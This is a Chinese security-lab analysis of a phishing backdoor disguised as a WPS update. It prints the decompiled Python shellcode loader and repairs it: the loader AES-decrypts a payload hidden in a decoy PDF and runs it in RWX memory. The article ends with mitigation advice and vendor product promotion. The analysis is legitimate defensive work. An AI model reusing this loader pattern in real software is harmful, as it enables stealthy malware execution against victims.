【恶意文件】wpsupdate钓鱼分析
2023-9-8 17:43:43 Author: mp.weixin.qq.com(查看原文) 阅读量:5 收藏

事件名称:

wpsupdate钓鱼分析

威胁类型:

后门

简单描述:

近日,深盾实验室在运营工作中发现攻击者通过伪装WPS更新执行钓鱼攻击的行为。

恶意文件描述

近期,深盾实验室在运营工作中发现攻击者通过伪装成wps更新的钓鱼活动。

恶意文件分析

将文件拖入pe文件信息查看工具中发现存在py、python等字符串,于是判断是通过python打包而成。

解包

使用pyinstxtractor对exe进行解包,入口程序为main.py

解出来的文件并没有进行加密,所以直接使用pycdc反编译得到源码,在main.py中导入了一en的自定义库,所以也对en.pyc进行反编译,反编译之后的内容如下

# Source Generated with Decompyle++

# File: main.pyc (Python 3.9)

import ctypes

import os

import sys

import time

import en

BSIZE = en.po090o09o9o89iu9oi09ioi09ow.block_size

KSIZE = 32

abc = 'difh63jsabdj&#k'

def PadTest(bytes):

    if len(bytes) % BSIZE != 0:

        bytes += ' '.encode()

        continue

    return bytes

def Pad(abc):

    if len(abc) > KSIZE:

        return abc[:KSIZE]

    if None(abc) % KSIZE != 0:

        abc += ' '.encode()

        continue

    return abc

def ddd(key, encryptData):

    myCipher = en.po090o09o9o89iu9oi09ioi09ow.new(key, en.po090o09o9o89iu9oi09ioi09ow.MODE_ECB)

    bytes = myCipher.decrypt(encryptData)

    return bytes

sys.path.append(os.getcwd)

po090op9989080o909o90o09o9i9oi99o9 = 265728

time.sleep(2)

filename = '关于更新WPS的通知.pdf'

filename = filename.encode('utf-8')

if os.path.exists(filename):

    o000op8980o890op90800o909 = en.o090o09pi98io9i09i9ioi(filename, 'rb')

    o0ooo0o0o0oo0o0op0o0o0opo0o89 = o000op8980o890op90800o909.read()[-po090op9989080o909o90o09o9i9oi99o9:]

    abc = Pad(abc.encode())

    o0ooo0o0o0oo0o0op0o0o0opo0o89 = PadTest(o0ooo0o0o0oo0o0op0o0o0opo0o89)

    o0ooo0o0o0oo0o0op0o0o0opo0o89 = ddd(abc, o0ooo0o0o0oo0o0op0o0o0opo0o89)

    ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64

    rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(o0ooo0o0o0oo0o0op0o0o0opo0o89), 4096, 64)

    en.ok09i09i9io(en.fja8g9u9guare8g0argua0rgu(rwxpage), ctypes.create_string_buffer(o0ooo0o0o0oo0o0op0o0o0opo0o89), len(o0ooo0o0o0oo0o0op0o0o0opo0o89))

    handle = en.sg1r5g1rgb1seth4ckbu77er5he4zt51hs5(0, 0, ctypes.c_uint64(rwxpage), 0, 0, 0)

    ctypes.windll.kernel32.WaitForSingleObject(handle, -1)

# Source Generated with Decompyle++

# File: en.pyc (Python 3.9)

import ctypes

from Cryptodome.Cipher import AES

po090o09o9o89iu9oi09ioi09ow = AES

oo90o890i0oi9io9i0oi9k09ii = ctypes

o090o09pi98io9i09i9ioi = open

ok09i09i9io = ctypes.windll.kernel32.RtlMoveMemory

o0oo00o0o0i09i09i = ctypes.c_uint64

sg1r5g1rgb1seth4ckbu77er5he4zt51hs5 = ctypes.windll.kernel32.CreateThread

i90i09i09i0i9 = ctypes.windll

i9u89u98u98u0u09u0u990 = i90i09i09i0i9.kernel32.RtlMoveMemory

fja8g9u9guare8g0argua0rgu = ctypes.c_uint64

文件修复

在反编译得到源码之后并不能直接运行,因为反编译的时候部分代码被损坏,所以需要对比opcode进行手动修复,需要修复的一共有三处:

PadTest函数中if判断需要替换成while:

def PadTest(bytes):

    while len(bytes) % BSIZE != 0:

        bytes += ' '.encode()

        continue

    return bytes

Pad函数中的第二处if判断也需要替换成while,同时None需要替换成len函数:

def Pad(abc):

    if len(abc) > KSIZE:

        return abc[:KSIZE]

    while len(abc) % KSIZE != 0:

        abc += ' '.encode()

        continue

    return abc

解密Shellcode

通过理解源码可以发现,shellcode存在pdf的后265728个字节中,取出这部分内容之后判断长度是否满足32的整数倍,如果不满足则使用空格填充,解密的key做同样处理,之后使用AES对取出来的内容进行解密得到最终的shellcode,之后调用VirtualAlloc分配内存,RtlMoveMemory写入内存,CreateThread创建线程,并将线程执行位置指向shellcode起始位置,最后通过WaitForSingleObject执行线程。

在分析时可以将shellcode写入到文件中单独分析:在调用VirtualAlloc之前将shellcode写入到文件中,随后将文件放到x64dbg中进行动态调试。

根据静态信息可以看出执行的shellcode是二开的CS马。

当调试到0x0000000180017E25会触发异常,原因在于执行内存拷贝时源数据地址无效:

源地址失效将导致后续的代码异常退出,从而无法分析。

解决方案

处置建议

1、不要打开来历不明的邮件及其里面的附件或链接。

2、通过即时通讯软件发送的文件需要确认无毒之后再打开。

3、安装杀软并保持更新。

深信服解决方案

【深信服统一端点安全管理系统aES】

已支持查杀拦截此次事件使用的病毒文件。aES全新上线“动静态双AI引擎”,静态AI能够在未知勒索载荷落地阶段进行拦截,动态AI则能够在勒索载荷执行阶段进行防御,通过动静态AI双保险机制可以更好地遏制勒索蔓延。请更新软件(如有定制请先咨询售后再更新版本)和病毒库至最新版本。

【深信服下一代防火墙AF】的安全防护规则更新至最新版本,接入深信服安全云脑,“云鉴” 服务即可轻松抵御此高危风险。

【深信服安全感知管理平台SIP】建议用户及时更新规则库,接入深信服安全云脑,并联动【深信服下一代防火墙AF】实现对高危风险的入侵防护。

【深信服安全托管服务MSS】以保障用户网络安全“持续有效”为目标,通过将用户安全设备接入安全运营中心,依托于XDR安全能力平台和MSSP安全服务平台实现有效协同的“人机共智”模式,围绕资产、脆弱性、威胁、事件四个要素为用户提供7*24H的安全运营服务,快速扩展持续有效的安全运营能力,保障可承诺的风险管控效果。


文章来源: https://mp.weixin.qq.com/s?__biz=Mzg2NjgzNjA5NQ==&mid=2247520547&idx=2&sn=66d1e9f65315ad850623d8295bc2efe2&chksm=ce461a33f931932516918c1db5d9bab61e8823dbfafadeeff0d9da4592dd1768e74253c2eae7&scene=58&subscene=0#rd
如有侵权请联系:admin#unsafe.sh